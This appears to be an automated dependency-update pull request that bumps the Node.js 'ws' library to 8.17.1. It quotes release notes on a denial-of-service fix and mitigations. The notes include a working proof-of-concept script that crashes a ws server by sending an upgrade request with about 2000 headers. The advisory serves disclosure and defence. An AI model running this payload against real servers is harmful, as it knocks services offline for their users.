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Bumps [ws](https://github.com/websockets/ws) from 8.17.0 to 8.17.1. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/websockets/ws/releases">ws's releases</a>.</em></p> <blockquote> <h2>8.17.1</h2> <h1>Bug fixes</h1> <ul> <li>Fixed a DoS vulnerability (<a href="https://redirect.github.com/websockets/ws/issues/2231">#2231</a>).</li> </ul> <p>A request with a number of headers exceeding the[<code>server.maxHeadersCount</code>][] threshold could be used to crash a ws server.</p> <pre lang="js"><code>const http = require('http'); const WebSocket = require('ws'); <p>const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0;</p> <p>for (let i = 0; i < chars.length; i++) { if (count === 2000) break;</p> <pre><code>for (let j = 0; j &lt; chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } </code></pre> <p>}</p> <p>headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13';</p> <p>const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port });</p> <p>request.end(); }); </code></pre></p> <p>The vulnerability was reported by <a href="https://github.com/rrlapointe">Ryan LaPointe</a> in <a href="https://redirect.github.com/websockets/ws/issues/2230">websockets/ws#2230</a>.</p> <p>In vulnerable versions of ws, the issue can be mitigated in the following ways:</p> <ol> <li>Reduce the maximum allowed length of the request headers using the [<code>--max-http-header-size=size</code>][] and/or the [<code>maxHeaderSize</code>][] options so that no more headers than the <code>server.maxHeadersCount</code> limit can be sent.</li> </ol> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href=" |
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